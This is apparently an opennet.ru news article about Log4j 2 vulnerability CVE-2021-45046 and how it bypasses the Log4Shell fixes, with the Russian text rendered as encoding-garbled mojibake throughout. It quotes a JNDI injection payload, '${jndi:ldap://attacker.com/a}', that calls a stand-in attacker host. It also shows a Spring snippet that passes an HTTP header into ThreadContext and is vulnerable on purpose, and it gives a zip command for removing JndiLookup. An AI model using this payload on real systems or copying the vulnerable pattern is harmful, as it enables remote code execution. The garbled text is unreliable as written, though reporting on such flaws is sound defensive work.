Π ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΎΠΊ JNDI Π² Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ΅ Log4j 2 Π²ΡΡΠ²Π»Π΅Π½Π° Π΅ΡΡ ΠΎΠ΄Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ (CVE-2021-45046), ΠΏΡΠΎΡΠ²Π»ΡΡΡΠ°ΡΡΡ Π½Π΅ΡΠΌΠΎΡΡΡ Π½Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΡΠ΅ Π² Π²ΡΠΏΡΡΠΊ 2.15 ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ ΠΈ Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎ ΠΎΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ «log4j2.noFormatMsgLookup» Π΄Π»Ρ Π·Π°ΡΠΈΡΡ. ΠΡΠΎΠ±Π»Π΅ΠΌΠ° ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΡ Π² ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΌ Π΄Π»Ρ ΡΡΠ°ΡΡΡ Π²Π΅ΡΡΠΈΠΉ Log4j 2, Π·Π°ΡΠΈΡΡΠ½Π½ΡΡ ΠΏΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ ΡΠ»Π°Π³Π° «noFormatMsgLookup», ΡΠ°ΠΊ ΠΊΠ°ΠΊ Π΄Π°ΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΠΎΠ±ΠΎΠΉΡΠΈ Π·Π°ΡΠΈΡΡ ΠΎΡ ΠΏΡΠΎΡΠ»ΠΎΠΉ ΡΠ·ΡΠ²ΠΈΠΌΠΎΡΡΠΈ (Log4Shell, CVE-2021-44228), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠ΅ΠΉ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΡΠ²ΠΎΠΉ ΠΊΠΎΠ΄ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅. ΠΠ»Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΉ Π²Π΅ΡΡΠΈΠΈ 2.15 ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΡ ΠΎΠ³ΡΠ°Π½ΠΈΡΠΈΠ²Π°Π΅ΡΡΡ ΡΠΎΠ·Π΄Π°Π½ΠΈΠ΅ΠΌ ΡΡΠ»ΠΎΠ²ΠΈΠΉ Π΄Π»Ρ Π°Π²Π°ΡΠΈΠΉΠ½ΠΎΠ³ΠΎ Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ ΠΈΠ·-Π·Π° ΠΈΡΡΠ΅ΡΠΏΠ°Π½ΠΈΡ Π΄ΠΎΡΡΡΠΏΠ½ΡΡ ΡΠ΅ΡΡΡΡΠΎΠ².
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΏΡΠΎΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ°Ρ , Π² ΠΊΠΎΡΠΎΡΡΡ ΠΏΡΠΈ ΠΆΡΡΠ½Π°Π»ΠΈΡΠΎΠ²Π°Π½ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ½ΡΠ΅ Π·Π°ΠΏΡΠΎΡΡ (Context Lookup), ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ${ctx:loginId}, ΠΈΠ»ΠΈ MDC-ΡΠ°Π±Π»ΠΎΠ½Ρ (Thread Context Map), Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, %X, %mdc ΠΈ %MDC. ΠΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΡ ΡΠ²ΠΎΠ΄ΠΈΡΡΡ ΠΊ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΡΠ»ΠΎΠ²ΠΈΠΉ Π΄Π»Ρ Π²ΡΠ²ΠΎΠ΄Π° Π² Π»ΠΎΠ³ Π΄Π°Π½Π½ΡΡ , ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠΈΡ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ JNDI, ΠΏΡΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠΈ Π² ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ½ΡΡ Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΈΠ»ΠΈ MDC-ΡΠ°Π±Π»ΠΎΠ½ΠΎΠ², ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΡΡΠΈΡ ΠΏΡΠ°Π²ΠΈΠ»Π° ΡΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π²ΡΠ²ΠΎΠ΄Π° Π² Π»ΠΎΠ³.
ΠΡΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΠΈ ΠΈΠ· ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ LunaSec ΠΎΡΠΌΠ΅ΡΠΈΠ»ΠΈ, ΡΡΠΎ Π΄Π»Ρ Π²Π΅ΡΡΠΈΠΉ Log4j ΠΌΠ΅Π½ΡΡΠ΅ 2.15 Π΄Π°Π½Π½Π°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΠΊΠ°ΠΊ Π½ΠΎΠ²ΡΠΉ Π²Π΅ΠΊΡΠΎΡ Π΄Π»Ρ Π°ΡΠ°ΠΊΠΈ Log4Shell, ΠΏΡΠΈΠ²ΠΎΠ΄ΡΡΠ΅ΠΉ ΠΊ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠ΄Π°, Π΅ΡΠ»ΠΈ ΠΏΡΠΈ Π²ΡΠ²ΠΎΠ΄Π΅ Π² Π»ΠΎΠ³ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ ThreadContext, Π² ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΠΎΠΏΠ°Π΄Π°ΡΡ Π²Π½Π΅ΡΠ½ΠΈΠ΅ Π΄Π°Π½Π½ΡΠ΅, Π½Π΅Π·Π°Π²ΠΈΡΠΈΠΌΠΎ ΠΎΡ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈΡ Π΄Π»Ρ Π·Π°ΡΠΈΡΡ ΡΠ»Π°Π³Π° «noMsgFormatLookups» ΠΈΠ»ΠΈ ΡΠ°Π±Π»ΠΎΠ½Π° «%m{nolookups}».
ΠΠ±Ρ ΠΎΠ΄ Π·Π°ΡΠΈΡΡ ΡΠ²ΠΎΠ΄ΠΈΡΡΡ ΠΊ ΡΠΎΠΌΡ, ΡΡΠΎ Π²ΠΌΠ΅ΡΡΠΎ ΠΏΡΡΠΌΠΎΠΉ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ «${jndi:ldap://attacker.com/a}», Π΄Π°Π½Π½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄ΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ ΡΠ΅ΡΠ΅Π· Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΎΠΌΠ΅ΠΆΡΡΠΎΡΠ½ΠΎΠΉ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΠΎΠΉ Π² ΠΏΡΠ°Π²ΠΈΠ»Π°Ρ ΡΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π²ΡΠ²ΠΎΠ΄Π° Π² Π»ΠΎΠ³. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π΅ΡΠ»ΠΈ ΠΏΡΠΈ Π²ΡΠ²ΠΎΠ΄Π΅ Π² Π»ΠΎΠ³ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ½ΡΠΉ Π·Π°ΠΏΡΠΎΡ ${ctx:apiversion}, ΡΠΎ Π°ΡΠ°ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΏΡΠΎΠ²Π΅Π΄Π΅Π½Π° ΡΠ΅ΡΠ΅Π· ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΡ Π΄Π°Π½Π½ΡΡ «${jndi:ldap://attacker.com/a}» Π² Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅, Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΠΌΠΎΠ΅ Π² ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ apiversion. ΠΡΠΈΠΌΠ΅Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { // ΠΠ½Π°ΡΠ΅Π½ΠΈΠ΅ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° «X-Api-Version» ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡΡΡ Π² ThreadContext ThreadContext.put(«apiversion», apiVersion); // ΠΡΠΈ Π²ΡΠ²ΠΎΠ΄Π΅ Π² Π»ΠΎΠ³ Π²Π½Π΅ΡΠ½Π΅Π΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ apiversion Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½ΠΎ ΠΏΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; }
Π Π²Π΅ΡΡΠΈΠΈ Log4j 2.15 ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΌΠΎΠΆΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π΄Π»Ρ ΡΠΎΠ²Π΅ΡΡΠ΅Π½ΠΈΡ DoS-Π°ΡΠ°ΠΊ ΠΏΡΠΈ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΠ΅ Π² ThreadContext Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ, ΠΏΡΠΈΠ²ΠΎΠ΄ΡΡΠΈΡ ΠΊ Π·Π°ΡΠΈΠΊΠ»ΠΈΠ²Π°Π½ΠΈΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ ΡΠ°Π±Π»ΠΎΠ½Π° ΡΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π²ΡΠ²ΠΎΠ΄Π°.
ΠΠ»Ρ Π±Π»ΠΎΠΊΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΎΠΏΡΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Ρ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ 2.16 ΠΈ 2.12.2. Π Π²Π΅ΡΠΊΠ΅ Log4j 2.16, ΠΏΠΎΠΌΠΈΠΌΠΎ ΡΠ΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΡΡ Π² Π²Π΅ΡΡΠΈΠΈ 2.15 ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠΉ ΠΈ ΠΏΡΠΈΠ²ΡΠ·ΠΊΠΈ JNDI LDAP-Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΊ «localhost», ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ ΠΎΡΠΊΠ»ΡΡΠ΅Π½Π° ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΡΡΡ JNDI ΠΈ ΡΠ΄Π°Π»Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΠ° ΡΠ°Π±Π»ΠΎΠ½ΠΎΠ² ΠΏΠΎΠ΄ΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ. Π ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΎΠ±Ρ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΡΡΠΈ Π·Π°ΡΠΈΡΡ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ ΡΠ΄Π°Π»ΠΈΡΡ ΠΊΠ»Π°ΡΡ JndiLookup ΠΈΠ· classpath (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).
ΠΡΠΎΡΠ»Π΅Π΄ΠΈΡΡ Π·Π° ΠΏΠΎΡΠ²Π»Π΅Π½ΠΈΠ΅ΠΌ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠΉ Π² ΠΏΠ°ΠΊΠ΅ΡΠ°Ρ
ΠΌΠΎΠΆΠ½ΠΎ Π½Π° ΡΡΡΠ°Π½ΠΈΡΠ°Ρ
Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ²ΠΎΠ² (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ΠΈ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»Π΅ΠΉ Java-ΠΏΠ»Π°ΡΡΠΎΡΠΌ (GitHub, Docker, Oracle, vmWare, Broadcom ΠΈ Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure ΠΈ Ρ.Π΄.).
ΠΡΡΠΎΡΠ½ΠΈΠΊ: opennet.ru